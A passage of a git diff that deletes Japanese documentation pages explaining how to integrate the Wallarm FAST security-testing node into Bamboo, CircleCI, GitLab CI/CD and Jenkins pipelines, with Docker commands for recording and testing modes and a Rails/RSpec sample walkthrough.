-リクエスト記録を実装するには、自動アプリケーションテストのジョブに次の設定を適用します。 - -1. 自動テストを実行するコマンドの__前に__、必要な[変数](../ci-mode-recording.md#environment-variables-in-recording-mode)とともに`CI_MODE=recording`モードでFASTのDockerコンテナを起動するコマンドを追加します。例: - - ``` - docker run --name fast -d -e WALLARM_API_TOKEN=${bamboo_WALLARM_API_TOKEN} -e CI_MODE=recording -e WALLARM_API_HOST=us1.api.wallarm.com -e ALLOWED_HOSTS=dvwa -p 8080:8080 --network my-network --rm wallarm/fast - ``` -2. FASTノード経由で自動テストをプロキシするように設定します。例: - - ``` - docker run --rm -d --name selenium -e http_proxy='http://fast:8080' --network my-network selenium/standalone-firefox:latest - ``` - -!!! warning "Dockerネットワーク" - リクエストを記録する前に、FASTノードと自動テスト用ツールが同じネットワーク上で動作していることを確認してください。 - -??? info "記録モードでFASTノードを実行する自動テストステップの例" - ``` - test: - key: TST - tasks: - - script: - interpreter: /bin/sh - scripts: - - docker network create my-network - - docker run --rm --name dvwa -d --network my-network wallarm/fast-example-dvwa-base - - docker run --name fast -d -e WALLARM_API_TOKEN=${bamboo_WALLARM_API_TOKEN} -e CI_MODE=recording -e WALLARM_API_HOST=us1.api.wallarm.com -e ALLOWED_HOSTS=dvwa -p 8080:8080 --network my-network --rm wallarm/fast - - docker run --rm -d --name selenium -e http_proxy='http://fast:8080' --network my-network selenium/standalone-firefox:latest - - docker run --rm --name tests --network my-network wallarm/fast-example-dvwa-tests - - docker stop selenium fast - ``` - - この例には次のステップが含まれます: - - 1. Dockerネットワーク`my-network`を作成します。 - 2. テストアプリ`dvwa`を`my-network`ネットワーク上で実行します。 - 3. 記録モードでFASTノードを`my-network`ネットワーク上で実行します。 - 4. 自動テスト用ツールSeleniumを、FASTノードをプロキシとして`my-network`ネットワーク上で実行します。 - 5. `my-network`ネットワーク上で自動テストを実行します。 - 6. 自動テスト用ツールSeleniumと記録モードのFASTノードを停止します。 - -## セキュリティテストステップの追加 - -セキュリティテストを実施するには、次の手順に従ってワークフローに対応する独立したステップを追加します。 - -1. テストアプリケーションが起動していない場合は、アプリケーションを起動するコマンドを追加します。 -2. アプリケーションを実行するコマンドの__後に__、必要な[変数](../ci-mode-testing.md#environment-variables-in-testing-mode)とともに`CI_MODE=testing`モードでFASTのDockerコンテナを起動するコマンドを追加します。 - - !!! info "記録済みのベースラインリクエストセットの使用" - ベースラインリクエストのセットが別のパイプラインで記録されている場合は、[TEST_RECORD_ID](../ci-mode-testing.md#environment-variables-in-testing-mode)変数にレコードIDを指定します。そうでない場合は、最後に記録されたセットが使用されます。 - - コマンド例: - - ``` - docker run --name fast -e WALLARM_API_TOKEN=${bamboo_WALLARM_API_TOKEN} -e CI_MODE=testing -e WALLARM_API_HOST=us1.api.wallarm.com -p 8080:8080 -e TEST_RUN_URI=http://dvwa:80 --network my-network --rm wallarm/fast - ``` - -!!! warning "Dockerネットワーク" - セキュリティテストの前に、FASTノードとテストアプリケーションが同じネットワーク上で動作していることを確認してください。 - -??? info "セキュリティテストステップの例" - コマンドは、リクエスト記録ステップで作成した`my-network`ネットワーク上で実行されます。テストアプリ`app-test`もリクエスト記録ステップで実行されています。 - - 1. `stages`の一覧に`security_testing`を追加します。例では、このステップがワークフローを終了します。 - - ``` - stages: - - testing: - manual: false - jobs: - - test - - security_testing: - final: true - jobs: - - security_test - ``` - 2. 新しいジョブ`security_test`の本体を定義します。 - - ``` - security_test: - key: SCTST - tasks: - - script: - interpreter: /bin/sh - scripts: - - docker run --name fast -e WALLARM_API_TOKEN=${bamboo_WALLARM_API_TOKEN} -e CI_MODE=testing -e WALLARM_API_HOST=us1.api.wallarm.com -p 8080:8080 -e TEST_RUN_URI=http://dvwa:80 --network my-network --rm wallarm/fast - - docker stop dvwa - - docker network rm my-network - ``` - - この例には次のステップが含まれます: - - 1. テストモードでFASTノードを`my-network`ネットワーク上で実行します。ベースラインリクエストのセットは現在のパイプラインで作成され最新の記録であるため、`TEST_RECORD_ID`変数は省略します。テストが終了するとFASTノードは自動的に停止します。 - 2. テストアプリケーション`dvwa`を停止します。 - 3. `my-network`ネットワークを削除します。 - -## テスト結果の取得 - -セキュリティテストの結果はBamboo UIのbuild logsに表示されます。また、Bambooでは完全な`.log`ファイルをダウンロードできます。 - -![テストモードでFASTノードを実行した結果](../../../images/fast/poc/common/examples/bamboo-cimode/bamboo-ci-example.png) - -## その他の例 - -FASTをBambooワークフローに統合するさらなる例は、当社の[GitHub](https://github.com/wallarm/fast-examples)で確認できます。 - -!!! info "その他のご質問" - FASTの統合に関するご質問がある場合は、[お問い合わせ](mailto:support@wallarm.com)ください。 \ No newline at end of file diff --git a/docs/latest-ja/fast/poc/examples/circleci-cimode.md b/docs/latest-ja/fast/poc/examples/circleci-cimode.md deleted file mode 100644 index 0f5f6613aa..0000000000 --- a/docs/latest-ja/fast/poc/examples/circleci-cimode.md +++ /dev/null @@ -1,80 +0,0 @@ -[circleci-config-yaml]: https://circleci.com/docs/2.0/writing-yaml/#section=configuration -[fast-node-token]: ../../operations/create-node.md -[circleci-set-env-var]: https://circleci.com/docs/2.0/env-vars/#setting-an-environment-variable-in-a-project -[circleci-example-env-var]: ../../../images/fast/poc/common/examples/circleci-cimode/circleci-env-var-example.png -[fast-example-result]: ../../../images/fast/poc/common/examples/circleci-cimode/circleci-example.png -[fast-ci-mode-record]: ../ci-mode-recording.md#environment-variables-in-recording-mode -[fast-ci-mode-test]: ../ci-mode-testing.md#environment-variables-in-testing-mode -[mail-to-us]: mailto:support@wallarm.com -[fast-examples-github]: https://github.com/wallarm/fast-examples -[fast-example-circleci]: https://circleci.com/gh/wallarm/fast-example-circleci-dvwa-integration - - -# FASTとCircleCIの統合 - -CIモードでのFASTをCircleCIのワークフローに統合する設定は、`~/.circleci/config.yml`ファイルで行います。CircleCIのワークフロー構成の詳細は[CircleCI公式ドキュメント][circleci-config-yaml]をご参照ください。 - -## FASTノードトークンの設定 - -[FASTノードトークン][fast-node-token]を安全に使用するには、[プロジェクト設定の環境変数][circleci-set-env-var]にその値を設定します。 - -![CircleCIの環境変数の設定][circleci-example-env-var] - ---8<-- "../include/fast/fast-cimode-integration-examples/configured-workflow.md" - -## リクエスト記録ステップの追加 - ---8<-- "../include/fast/fast-cimode-integration-examples/request-recording-setup.md" - -??? info "記録モードでFASTノードを実行する自動テストステップの例" - ``` - - run: - name: Start tests & FAST record - command: | - docker network create my-network \ - && docker run --rm --name fast -d -e WALLARM_API_TOKEN=$WALLARM_API_TOKEN -e CI_MODE=recording -e WALLARM_API_HOST=us1.api.wallarm.com -p 8080:8080 --network my-network wallarm/fast \ - && docker run --rm -d --name selenium -p 4444:4444 -e http_proxy='http://fast:8080' -e https_proxy='https://fast:8080' --network my-network selenium/standalone-firefox:latest \ - && docker run --rm --name app-test --network my-network -e CAPYBARA_SERVER_HOST=app-test -p 3000:3000 test-application bundle exec rspec spec/features/posts_spec.rb \ - && docker stop selenium fast - ``` - - 例には次のステップが含まれます。 - - 1. Dockerネットワーク`my-network`を作成します。 - 2. 記録モードでFASTノードをネットワーク`my-network`上で起動します。 - 3. ネットワーク`my-network`上で、FASTノードをプロキシとして使用し、自動テスト用ツールSeleniumを実行します。 - 4. ネットワーク`my-network`上でテスト用アプリケーションと自動テストを実行します。 - 5. 自動テスト用ツールSeleniumおよび記録モードのFASTノードを停止します。 - -## セキュリティテストステップの追加 - ---8<-- "../include/fast/fast-cimode-integration-examples/security-testing-setup.md" - -??? info "セキュリティテストステップの例" - ``` - - run: - name: Start FAST tests - command: | - docker run --rm -d --name app-test --network my-network -e CAPYBARA_SERVER_HOST=app-test -p 3000:3000 test-application \ - && docker run --name fast -e WALLARM_API_TOKEN=$WALLARM_API_TOKEN -e CI_MODE=testing -e WALLARM_API_HOST=us1.api.wallarm.com -p 8080:8080 --network my-network -e TEST_RUN_URI="http://app-test:3000" --rm wallarm/fast \ - && docker stop app-test - ``` - - 例には次のステップが含まれます。 - - 1. `my-network`ネットワーク上でテスト用アプリケーションを実行します。 - 2. テストモードでFASTノードをネットワーク`my-network`上で実行します。ベースラインリクエストのセットは現在のパイプラインで作成され、最後に記録されたものなので、変数`TEST_RECORD_ID`は省略しています。テストが完了するとFASTノードは自動的に停止します。 - 3. テスト用アプリケーションを停止します。 - -## テスト結果の取得 - -セキュリティテストの結果はCircleCIのインターフェースに表示されます。 - -![テストモードでFASTノードを実行した結果][fast-example-result] - -## その他の例 - -FASTをCircleCIワークフローに統合する例は、当社の[GitHub][fast-examples-github]および[CircleCI][fast-example-circleci]で確認できます。 - -!!! info "追加のご質問" - FASTの統合に関してご質問がありましたら、[こちらからお問い合わせください][mail-to-us]。 \ No newline at end of file diff --git a/docs/latest-ja/fast/poc/examples/circleci.md b/docs/latest-ja/fast/poc/examples/circleci.md deleted file mode 100644 index 1a0574e3a8..0000000000 --- a/docs/latest-ja/fast/poc/examples/circleci.md +++ /dev/null @@ -1,226 +0,0 @@ -[img-demo-app]: ../../../images/fast/poc/common/examples/demo-app.png -[img-testing-flow]: ../../../images/fast/poc/en/examples/testing-flow.png -[img-testing-flow-fast]: ../../../images/fast/poc/en/examples/testing-flow-fast.png -[img-services-relations]: ../../../images/fast/poc/common/examples/api-services-relations.png -[img-test-traffic-flow]: ../../../images/fast/poc/en/examples/test-traffic-flow.png - -[img-cci-pass-token]: ../../../images/fast/poc/common/examples/circleci/pass-token.png -[img-cci-pass-results]: ../../../images/fast/poc/common/examples/circleci/pass-results.png -[img-cci-workflow]: ../../../images/fast/poc/en/examples/circleci/api-workflow.png - -[img-cci-demo-pass-token]: ../../../images/fast/poc/common/examples/circleci/demo-pass-token.png -[img-cci-demo-rspec-tests]: ../../../images/fast/poc/common/examples/circleci/api-demo-rspec-tests.png -[img-cci-demo-testrun]: ../../../images/fast/poc/common/examples/circleci/demo-testrun.png -[img-cci-demo-tests-failed]: ../../../images/fast/poc/common/examples/circleci/demo-tests-failed.png -[img-cci-demo-vuln-details]: ../../../images/fast/poc/common/examples/circleci/demo-vuln-details.png - -[doc-env-variables]: ../../operations/env-variables.md -[doc-testrun-steps]: ../../operations/internals.md#test-run-execution-flow-baseline-requests-recording-takes-place -[doc-testrun-creation]: ../node-deployment.md#creating-a-test-run -[doc-get-token]: ../../operations/create-node.md -[doc-stopping-recording]: ../stopping-recording.md -[doc-waiting-for-tests]: ../waiting-for-tests.md -[doc-node-ready-for-recording]: ../node-deployment.md#creating-a-test-run - -[link-api-recoding-mode]: ../integration-overview-api.md#deployment-via-the-api-when-baseline-requests-recording-takes-place - -[link-example-project]: https://github.com/wallarm/fast-example-api-circleci-rails-integration -[link-rspec]: https://rspec.info/ -[link-capybara]: https://github.com/teamcapybara/capybara -[link-selenium]: https://www.seleniumhq.org/ -[link-docker-compose-build]: https://docs.docker.com/compose/reference/build/ -[link-circleci]: https://circleci.com/ - -[link-wl-portal]: https://us1.my.wallarm.com -[link-wl-portal-testrun-tab]: https://us1.my.wallarm.com/testing/?status=running - -[anchor-project-description]: #how-the-sample-application-works -[anchor-cci-integration-description]: #how-fast-integrates-with-rspec-and-circleci -[anchor-cci-integration-demo]: #demo-of-the-fast-integration - -# FASTのCI/CDへの統合例 - -!!! info "本章の規約" - 本章を通して、次のトークン値を例として使用します: `token_Qwe12345`。 - -WallarmのGitHubにはサンプルプロジェクト[fast-example-api-circleci-rails-integration][link-example-project]が用意されています。目的は、既存のCI/CDプロセスにFASTを統合する方法を示すことです。この例は[「ベースラインリクエスト記録時のAPI経由でのデプロイ」][link-api-recoding-mode]シナリオに従います。 - -このドキュメントには次の情報が含まれます: -1. [サンプルアプリケーションの動作に関する説明][anchor-project-description] -2. [FAST統合の詳細な手順説明][anchor-cci-integration-description] -3. [FAST統合のデモ][anchor-cci-integration-demo] - -## サンプルアプリケーションの動作 - -サンプルアプリケーションは、ブログに投稿を公開し、その投稿を管理できるWebアプリケーションです。 - -![サンプルアプリケーション][img-demo-app] - -アプリケーションはRuby on Railsで実装され、Dockerコンテナとして提供されます。 - -また、アプリケーションには[RSpec][link-rspec]の統合テストが作成されています。RSpecはWebアプリケーションとのやり取りに[Capybara][link-capybara]を使用し、CapybaraはアプリケーションにHTTPリクエストを送信するために[Selenium][link-selenium]を使用します: - -![テストの流れ][img-testing-flow] - -RSpecは次のシナリオを対象にいくつかの統合テストを実行します: -* 投稿一覧ページへ移動 -* 新規投稿の作成 -* 既存投稿の更新 -* 既存投稿の削除 - -CapybaraとSeleniumにより、これらのテストはアプリケーションへの一連のHTTPリクエストに変換されます。 - -!!! info "テストの配置場所" - 上記の統合テストは`spec/features/posts_spec.rb`ファイルに記述されています。 - -## FASTのRSpecおよびCircleCIとの統合方法 - -ここでは、サンプルプロジェクトにおけるFASTとRSpecおよびCircleCIの統合概要を説明します。 - -RSpecはテスト前後のフックをサポートしています: - -``` -config.before :context, type: :feature do - # RSpecテスト実行前に実行する処理 - end - # RSpecテストの実行 - config.after :context, type: :feature do - # RSpecテスト実行後に実行する処理 - end -``` - -これは本質的に、アプリケーションをテストするRSpecの手順に、FASTによるセキュリティテストの手順を追加できることを意味します。 - -Seleniumサーバーには`HTTP_PROXY`環境変数でプロキシサーバーを指定できます。これにより、アプリケーションへのHTTPリクエストはプロキシされます。プロキシ機構を利用することで、既存のテストフローへの変更を最小限に抑えつつ、統合テストが発行するリクエストをFASTノード経由で通過させることができます: - -![FASTを含むテストの流れ][img-testing-flow-fast] - -以上を踏まえてCircleCIジョブを構成します。ジョブは次の手順で構成されています（`.circleci/config.yml`ファイルを参照してください）: - -1. 必要な準備: - - [トークンを取得][doc-get-token]し、その値を`TOKEN`環境変数としてCircleCIのプロジェクトに渡す必要があります。 -新しいCIジョブがセットアップされると、この変数の値はジョブを実行するDockerコンテナに渡されます。 - - ![CircleCIへトークンを渡す][img-cci-pass-token] - -2. サービスのビルド - - この段階では、いくつかのサービス用に複数のDockerコンテナをビルドします。コンテナは共有のDockerネットワークに配置されます。したがって、各コンテナはIPアドレスだけでなくコンテナ名でも相互に通信できます。 - - 次のサービスをビルドします（`docker-compose.yaml`ファイルを参照してください）: - - * `app-test`: 対象アプリケーションとテストツール用のサービスです。 - - このサービスのDockerイメージには次のコンポーネントが含まれます: - - * 対象アプリケーション（デプロイ後は`app-test:3000`でHTTPアクセス可能）。 - - * Capybaraと組み合わせたRSpecテストツール。FASTのセキュリティテストを実行するために必要な機能をすべて含みます。 - - * Capybara: Seleniumサーバー`selenium:4444`を使用して対象アプリケーション`app-test:3000`へHTTPリクエストを送信するように設定されています（`spec/support/capybara_settings.rb`ファイルを参照）。 - - トークンは`WALLARM_API_TOKEN=$TOKEN`環境変数でこのサービスのコンテナに渡されます。トークンは、`config.before`および`config.after`セクション（`spec/support/fast-helper.rb`ファイルを参照）で記述されている関数によってテストランの操作に使用されます。 - - * `fast`: FASTノード用のサービス。 - - デプロイ後、このノードは`fast:8080`でHTTPアクセス可能です。 - - トークンは`WALLARM_API_TOKEN=$TOKEN`環境変数でこのサービスのコンテナに渡されます。FASTが正しく動作するためにトークンが必要です。 - - !!! info "ベースラインリクエストに関する注意" - 提供されている例では、`ALLOWED_HOSTS`[環境変数][doc-env-variables]を使用していません。したがって、FASTノードは受信するすべてのリクエストをベースラインとして認識します。 - - * `selenium`: Seleniumサーバー用のサービス。`app-test`コンテナ内のCapybaraは動作のためにこのサーバーを使用します。 - - `HTTP_PROXY=http://fast:8080`環境変数をこのサービスのコンテナに渡し、FASTノード経由でのリクエストプロキシを有効化します。 - - デプロイ後、このサービスは`selenium:4444`でHTTPアクセス可能です。 - - すべてのサービス間の関係は次のとおりです: - - ![サービス間の関係][img-services-relations] - -3. 上記の関係により、サービスは次の厳密な順序でデプロイする必要があります: - 1. `fast` - 2. `selenium` - 3. `app-test` - - `fast`と`selenium`サービスは、`docker-compose up -d fast selenium`コマンドを実行して順にデプロイします。 - -4. SeleniumサーバーとFASTノードのデプロイが成功したら、`app-test`サービスをデプロイしてRSpecテストを実行します。 - - そのために、次のコマンドを実行します: - - `docker-compose run --name app-test --service-ports app-test bundle exec rspec spec/features/posts_spec.rb`。 - - テストおよびHTTPトラフィックの流れは次の図のとおりです: - - ![テストおよびHTTPトラフィックの流れ][img-test-traffic-flow] - - [シナリオ][link-api-recoding-mode]に従い、RSpecテストにはFASTのセキュリティテストを実行するために必要なすべての手順が含まれています（`spec/support/fast_hooks.rb`ファイルを参照）: - - 1. RSpecテストの実行前にテストランが[作成されます][doc-testrun-creation]。 - - 続いて、FASTノードがベースラインリクエストの記録を開始できる状態かを確認するためにAPI呼び出しが[発行されます][doc-node-ready-for-recording]。ノードが準備完了になるまで既存のテスト実行プロセスは開始されません。 - - !!! info "使用するテストポリシー" - この例ではデフォルトのテストポリシーを使用します。 - - 2. RSpecテストを実行します。 - 3. RSpecテスト完了後、次の処理を実行します: - 1. ベースラインリクエストの記録を[停止します][doc-stopping-recording]。 - 2. テストランの状態を[定期的に監視します][doc-waiting-for-tests]: - * FASTのセキュリティテストが正常に完了した場合（テストランの状態が`state: passed`）、RSpecへ終了コード`0`を返します。 - * FASTのセキュリティテストが失敗した場合（脆弱性が検出され、テストランの状態が`state: failed`）、RSpecへ終了コード`1`を返します。 - -5. テスト結果の取得: - - RSpecプロセスの終了コードは`docker-compose run`プロセスに渡され、さらにCircleCIに渡されます。 - - ![CircleCIでのジョブ結果][img-cci-pass-results] - -説明したCircleCIジョブは、[前述の手順][link-api-recoding-mode]に厳密に従っています: - -![CircleCIジョブの詳細][img-cci-workflow] - -## FAST統合のデモ - -1. Wallarm cloudで[FASTノードを作成][doc-get-token]し、提供されたトークンをコピーします。 -2. [サンプルプロジェクトのファイル][link-example-project]を自身のGitHubリポジトリにコピーします。 -3. GitHubリポジトリを[CircleCI][link-circleci]に追加します（CircleCIで「Follow Project」ボタンを押します）。これにより、リポジトリの内容を変更するたびにCIジョブが起動します。なお、CircleCIの用語ではリポジトリは「project」と呼ばれます。 -4. CircleCIのプロジェクトに`TOKEN`環境変数を追加します。これはプロジェクトの設定で行えます。この変数の値としてFASTトークンを渡します: - - ![プロジェクトへトークンを渡す][img-cci-demo-pass-token] - -5. リポジトリに何かをプッシュしてCIジョブを開始します。RSpecの統合テストが正常に完了していることを確認します（ジョブのコンソール出力を確認してください）: - - ![RSpecテストが成功][img-cci-demo-rspec-tests] - -6. テストランが実行中であることを確認します。 - - Wallarmアカウント情報で[Wallarm portal][link-wl-portal]にログインし、[「Testruns」タブ][link-wl-portal-testrun-tab]に移動すると、脆弱性に対するアプリケーションのテストプロセスをリアルタイムで確認できます: - - ![テストランの実行][img-cci-demo-testrun] - -7. テスト処理が終了すると、CIジョブのステータスが「Failed」と表示されるはずです: - - ![CIジョブの完了][img-cci-demo-tests-failed] - - 今回のテスト対象はWallarmのデモアプリケーションであるため、CIジョブの失敗は、FASTがアプリケーション内で検出した脆弱性を示しています（ビルドのログには「FAST tests have failed」というメッセージが表示されます）。この失敗はビルド関連の技術的問題によるものではありません。 - - !!! info "エラーメッセージ" - 「FAST tests have failed」というエラーメッセージは、`spec/support/fast_helper.rb`ファイル内の`wait_test_run_finish`メソッドによって、終了コード`1`で終了する直前に出力されます。 - -8. テスト中、CircleCIのコンソールには検出された脆弱性に関する情報は表示されません。 - - 詳細はWallarm portalで確認できます。そのためには、テストランへのリンクを開きます。このリンクは、CircleCIコンソールに表示されるFASTの情報メッセージの一部として表示されます。 - - リンクは次のような形式です: - `https://us1.my.wallarm.com/testing/testruns/test_run_id` - - たとえば、完了したテストランを表示すると、サンプルアプリケーションで複数のXSS脆弱性が見つかったことが分かります: - - ![脆弱性の詳細情報][img-cci-demo-vuln-details] - -まとめとして、FASTは既存のCI/CDプロセスに強力に統合できること、そして統合テストがエラーなく成功した場合でもアプリケーションの脆弱性を検出できることを示しました。 \ No newline at end of file diff --git a/docs/latest-ja/fast/poc/examples/gitlabcicd-cimode.md b/docs/latest-ja/fast/poc/examples/gitlabcicd-cimode.md deleted file mode 100644 index dec443f5a8..0000000000 --- a/docs/latest-ja/fast/poc/examples/gitlabcicd-cimode.md +++ /dev/null @@ -1,100 +0,0 @@ -[gitlabcicd-config-yaml]: https://docs.gitlab.com/ee/ci -[fast-node-token]: ../../operations/create-node.md -[gitlabci-set-env-var]: https://docs.gitlab.com/ee/ci/variables/ -[gitlabci-example-env-var]: ../../../images/fast/poc/common/examples/gitlabci-cimode/gitlab-ci-env-var-example.png -[fast-example-gitlab-result]: ../../../images/fast/poc/common/examples/gitlabci-cimode/gitlab-ci-example.png -[fast-ci-mode-record]: ../ci-mode-recording.md#environment-variables-in-recording-mode -[fast-ci-mode-test]: ../ci-mode-testing.md#environment-variables-in-testing-mode -[mail-to-us]: mailto:support@wallarm.com -[fast-examples-github]: https://github.com/wallarm/fast-examples -[fast-example-gitlab-cicd]: https://gitlab.com/wallarm/fast-example-gitlab-dvwa-integration - -# FASTとGitLab CI/CDの統合 - -CI MODEのFASTをGitLab CI/CDワークフローに統合する設定は`~/.gitlab-ci.yml`ファイルで行います。GitLab CI/CDワークフローの設定の詳細は[GitLabの公式ドキュメント][gitlabcicd-config-yaml]をご参照ください。 - -## FASTノードトークンの受け渡し - -[FASTノードトークン][fast-node-token]を安全に使用するために、その値を[プロジェクト設定の環境変数][gitlabci-set-env-var]として渡します。 - -![GitLab CI/CD環境変数の渡し方][gitlabci-example-env-var] - ---8<-- "../include/fast/fast-cimode-integration-examples/configured-workflow.md" - -## リクエスト記録ステップの追加 - ---8<-- "../include/fast/fast-cimode-integration-examples/request-recording-setup.md" - -??? info "記録モードでFASTノードを実行する自動テストステップの例" - ``` - test: - stage: test - script: - - docker network create my-network - - docker run --name fast -d -e WALLARM_API_TOKEN=$WALLARM_API_TOKEN -e CI_MODE=recording -e WALLARM_API_HOST=us1.api.wallarm.com -p 8080:8080 --network my-network --rm wallarm/fast - - docker run --rm -d --name selenium -p 4444:4444 -e http_proxy='http://fast:8080' -e https_proxy='https://fast:8080' --network my-network selenium/standalone-firefox:latest - - docker run --rm --name app-test --network my-network -e CAPYBARA_SERVER_HOST=app-test -p 3000:3000 app-test bundle exec rspec spec/features/posts_spec.rb - - docker stop selenium fast - - docker network rm my-network - ``` - - この例には次の手順が含まれます。 - - 1. Dockerネットワーク`my-network`を作成します。 - 2. ネットワーク`my-network`上でFASTノードを記録モードで実行します。 - 3. ネットワーク`my-network`上で、FASTノードをプロキシとして使用して自動テストツールSeleniumを実行します。 - 4. ネットワーク`my-network`上でテストアプリケーションと自動テストを実行します。 - 5. SeleniumとFASTノードを停止します。 - -## セキュリティテストステップの追加 - ---8<-- "../include/fast/fast-cimode-integration-examples/security-testing-setup.md" - -??? info "セキュリティテストステップの例" - 1. `stages`の一覧に`security_test`を追加します。 - - ``` - stages: - - build - - test - - security_test - - cleanup - ``` - 2. 新しいステージ`security_test`の内容を定義します。 - - ``` - security_test: - stage: security_test - script: - - docker network create my-network - - docker run --rm -d --name app-test --network my-network -e CAPYBARA_SERVER_HOST=app-test -p 3000:3000 app-test - - sleep 5 - - docker run --name fast -e WALLARM_API_TOKEN=$WALLARM_API_TOKEN -e CI_MODE=testing -e WALLARM_API_HOST=us1.api.wallarm.com -p 8080:8080 --network my-network -e TEST_RUN_URI="http://app-test:3000" --rm wallarm/fast - - docker stop app-test - ``` - - この例には次の手順が含まれます。 - - 1. Dockerネットワーク`my-network`を作成します。 - 2. ネットワーク`my-network`上でテストアプリケーションを実行します。 - 3. ネットワーク`my-network`上でFASTノードをテストモードで実行します。ベースラインリクエストのセットは現在のパイプライン内で作成され、最後に記録されたものが対象であるため、`TEST_RECORD_ID`変数は省略しています。テスト完了時にFASTノードは自動的に停止します。 - 4. テストアプリケーションを停止します。 - -## テスト結果の取得 - -セキュリティテストの結果はGitLab CI/CDのインターフェイスに表示されます。 - -![テストモードでFASTノードを実行した結果][fast-example-gitlab-result] - -## その他の例 - -FASTをGitLab CI/CDワークフローに統合する例は、[GitHub][fast-examples-github]および[GitLab][fast-example-gitlab-cicd]で参照できます。 - -!!! info "その他の質問" - FASTの統合に関してご不明な点がありましたら、[お問い合わせください][mail-to-us]。 - - \ No newline at end of file diff --git a/docs/latest-ja/fast/poc/examples/jenkins-cimode.md b/docs/latest-ja/fast/poc/examples/jenkins-cimode.md deleted file mode 100644 index 8c7e57d4a1..0000000000 --- a/docs/latest-ja/fast/poc/examples/jenkins-cimode.md +++ /dev/null @@ -1,88 +0,0 @@ -[jenkins-config-pipeline]: https://jenkins.io/doc/book/pipeline -[fast-node-token]: ../../operations/create-node.md -[jenkins-parameterized-build]: https://wiki.jenkins.io/display/JENKINS/Parameterized+Build -[jenkins-example-env-var]: ../../../images/fast/poc/common/examples/jenkins-cimode/jenkins-add-token-example.png -[fast-example-jenkins-result]: ../../../images/fast/poc/common/examples/jenkins-cimode/jenkins-result-example.png -[fast-ci-mode-record]: ../ci-mode-recording.md#environment-variables-in-recording-mode -[fast-ci-mode-test]: ../ci-mode-testing.md#environment-variables-in-testing-mode -[mail-to-us]: mailto:support@wallarm.com -[fast-examples-github]: https://github.com/wallarm/fast-examples - -# JenkinsとFASTの統合 - -CI MODEでのFASTのJenkinsワークフローへの統合は`Jenkinsfile`ファイルで設定します。Jenkinsワークフローの設定の詳細は[Jenkins公式ドキュメント][jenkins-config-pipeline]を参照してください。 - -## FASTノードトークンの受け渡し - -[FASTノードトークン][fast-node-token]を安全に使用するには、プロジェクト設定の[環境変数][jenkins-parameterized-build]にその値を設定します。 - -![Jenkins環境変数の設定][jenkins-example-env-var] - ---8<-- "../include/fast/fast-cimode-integration-examples/configured-workflow.md" - -## リクエスト記録ステップの追加 - ---8<-- "../include/fast/fast-cimode-integration-examples/request-recording-setup.md" - -??? info "recordingモードでFASTノードを実行する自動テストステップの例" - ``` - stage('Run autotests with recording FAST node') { - steps { - sh label: 'create network', script: 'docker network create my-network' - sh label: 'run fast with recording', script: 'docker run --rm --name fast -d -e WALLARM_API_TOKEN=$WALLARM_API_TOKEN -e CI_MODE=recording -e WALLARM_API_HOST=us1.api.wallarm.com -p 8088:8080 --network my-network wallarm/fast' - sh label: 'run selenium', script: 'docker run --rm -d --name selenium -p 4444:4444 --network my-network -e http_proxy=\'http://fast:8080\' -e https_proxy=\'https://fast:8080\' selenium/standalone-firefox:latest' - sh label: 'run application', script: 'docker run --rm --name app-test --network my-network -e CAPYBARA_SERVER_HOST=app-test -p 3000:3000 app-test bundle exec rspec spec/features/posts_spec.rb' - sh label: 'stop selenium', script: 'docker stop selenium' - sh label: 'stop fast', script: 'docker stop fast' - sh label: 'remove network', script: 'docker network rm my-network' - } - } - ``` - - この例に含まれる手順は次のとおりです。 - - 1. Dockerネットワーク`my-network`を作成します。 - 2. ネットワーク`my-network`上でFASTノードをrecordingモードで実行します。 - 3. FASTノードをプロキシとして用い、ネットワーク`my-network`上で自動テストツールSeleniumを実行します。 - 4. テストアプリケーションと自動テストを実行します。 - 5. SeleniumとFASTノードを停止します。 - 6. ネットワーク`my-network`を削除します。 - -## セキュリティテストステップの追加 - ---8<-- "../include/fast/fast-cimode-integration-examples/security-testing-setup.md" - -??? info "セキュリティテストステップの例" - - ``` - stage('Run security tests') { - steps { - sh label: 'create network', script: 'docker network create my-network' - sh label: 'start application', script: ' docker run --rm -d --name app-test --network my-network -e CAPYBARA_SERVER_HOST=app-test -p 3000:3000 app-test' - sh label: 'run fast in testing mode', script: 'docker run --name fast -e WALLARM_API_TOKEN=$WALLARM_API_TOKEN -e CI_MODE="testing" -e WALLARM_API_HOST="us1.api.wallarm.com" --network my-network -e TEST_RUN_URI="http://app-test:3000" --rm wallarm/fast' - sh label: 'stop application', script: ' docker stop app-test ' - sh label: 'remove network', script: ' docker network rm my-network ' - } - } - ``` - - この例に含まれる手順は次のとおりです。 - - 1. Dockerネットワーク`my-network`を作成します。 - 2. ネットワーク`my-network`上でテストアプリケーションを起動します。 - 3. ネットワーク`my-network`上でFASTノードをtestingモードで実行します。ベースラインリクエストのセットは現在のパイプライン内で作成され、最後に記録されたものが使用されるため、`TEST_RECORD_ID`変数は省略しています。テストが完了するとFASTノードは自動的に停止します。 - 4. テストアプリケーションを停止します。 - 5. ネットワーク`my-network`を削除します。 - -## テスト結果の確認 - -セキュリティテストの結果はJenkinsインターフェイスに表示されます。 - -![testingモードでFASTノードを実行した結果][fast-example-jenkins-result] - -## その他の例 - -JenkinsワークフローへのFASTの統合例は[GitHub][fast-examples-github]で確認できます。 - -!!! info "その他の質問" - FASTの統合に関してご質問がある場合は、[お問い合わせください][mail-to-us]。 \ No newline at end of file diff --git a/docs/latest-ja/fast/poc/integration-overview-api.md b/docs/latest-ja/fast/poc/integration-overview-api.md deleted file mode 100644 index d8cbe0d20f..0000000000 --- a/docs/latest-ja/fast/poc/integration-overview-api.md +++ /dev/null @@ -1,104 +0,0 @@ -[img-sample-job-recording]: ../../images/fast/poc/en/integration-overview/sample-job.png -[img-sample-job-no-recording]: ../../images/fast/poc/en/integration-overview/sample-job-no-recording.png - -[doc-testrun]: ../operations/internals.md#test-run -[doc-container-deployment]: node-deployment.md#deployment-of-the-docker-container-with-the-fast-node -[doc-testrun-creation]: node-deployment.md#creating-a-test-run -[doc-testrun-copying]: node-deployment.md#copying-a-test-run -[doc-proxy-configuration]: proxy-configuration.md -[doc-stopping-recording]: stopping-recording.md -[doc-testrecord]: ../operations/internals.md#test-record -[doc-waiting-for-tests]: waiting-for-tests.md - -[anchor-recording]: #deployment-via-the-api-when-baseline-requests-recording-takes-place -[anchor-no-recording]: #deployment-via-the-api-when-prerecorded-baseline-requests-are-used - -[doc-integration-overview]: integration-overview.md - -# Wallarm APIによる統合 - -デプロイ方法はいくつかあります。 -1. 